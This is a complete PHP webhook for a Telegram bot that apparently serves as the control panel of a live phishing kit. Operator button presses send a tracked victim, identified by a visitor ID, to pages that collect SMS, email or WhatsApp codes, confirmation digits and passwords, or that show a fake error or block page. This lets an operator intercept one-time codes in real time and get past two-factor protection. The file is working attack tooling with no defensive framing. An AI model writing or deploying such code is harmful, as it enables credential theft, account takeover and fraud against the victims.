<?php
$settings = include __DIR__ . '/tg_config.php';
$bot = $settings['bot_token'] ?? '';
if (empty($bot)) { http_response_code(500); exit; }

$update = json_decode(file_get_contents('php://input'), true);
if (!isset($update['callback_query'])) { http_response_code(204); exit; }

$cb = $update['callback_query'];
$chatId = $cb['message']['chat']['id'] ?? ($settings['chat_id'] ?? null);
$messageId = $cb['message']['message_id'] ?? null;
$cbId = $cb['id'];
$action = $cb['data'] ?? '';
$text = $cb['message']['text'] ?? '';

$visitorId = '';
if (preg_match('/Visitor ID: ([a-f0-9]{64})/i', $text, $m)) { $visitorId = $m[1]; }
elseif (preg_match('/Visitor ID: ([a-f0-9]+)/i', $text, $m)) { $visitorId = $m[1]; }
if (empty($visitorId)) { http_response_code(400); exit; }

$actionMap = [
    'yes_prompt' => 'yes_prompt.php',
    'security_preference' => 'options.php',
    'sms_code' => 'sms_code.php',
    'email_code' => 'email_code.php',
    'whatsapp_code' => 'whatsapp_code.php',
    'confirmdigits' => 'confirm_info.php',
    'password_error' => 'error.php',
    'block' => 'blocked.php',
    'success' => 'success.php'
];
$target = $actionMap[$action] ?? 'load.php';
$redirectUrl = $target . '?id=' . $visitorId;

// Update portable redirects.json
$sessionDir = __DIR__ . '/session';
@mkdir($sessionDir, 0755, true);
$redirectsFile = $sessionDir . '/redirects.json';
if (!file_exists($redirectsFile)) {
    file_put_contents($redirectsFile, json_encode(['redirects' => new stdClass()]));
}
$fp = fopen($redirectsFile, 'c+');
if ($fp && flock($fp, LOCK_EX)) {
    $content = '';
    while (!feof($fp)) { $content .= fread($fp, 8192); }
    $json = json_decode($content, true) ?: ['redirects' => []];
    $json['redirects'][$visitorId] = [
        'status' => 'ready',
        'redirect_url' => $redirectUrl,
        'updated' => time(),
        'source' => 'telegram_button'
    ];
    ftruncate($fp, 0);
    rewind($fp);
    fwrite($fp, json_encode($json, JSON_PRETTY_PRINT));
    fflush($fp);
    flock($fp, LOCK_UN);
    fclose($fp);
} elseif ($fp) { fclose($fp); }

// Edit message text to reflect selection (optional)
if ($chatId && $messageId) {
    $editUrl = 'https://api.telegram.org/bot' . $bot . '/editMessageText';
    $payload = [
        'chat_id' => $chatId,
        'message_id' => $messageId,
        'text' => $text . "\n\n🔄 Status: " . strtoupper($action) . "\n⏰ Updated: " . date('Y-m-d H:i:s'),
        'parse_mode' => 'HTML'
    ];
    $ch = curl_init($editUrl);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, ($payload));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_TIMEOUT, 3);
    curl_exec($ch);
    curl_close($ch);
}

// Answer callback
$answerUrl = 'https://api.telegram.org/bot' . $bot . '/answerCallbackQuery';
$answer = [
    'callback_query_id' => $cbId,
    'text' => '✅ Action set: ' . $action,
    'show_alert' => false
];
$ch = curl_init($answerUrl);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, ($answer));
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 3);
curl_exec($ch);
curl_close($ch);

echo json_encode(['status' => 'ok']);
?>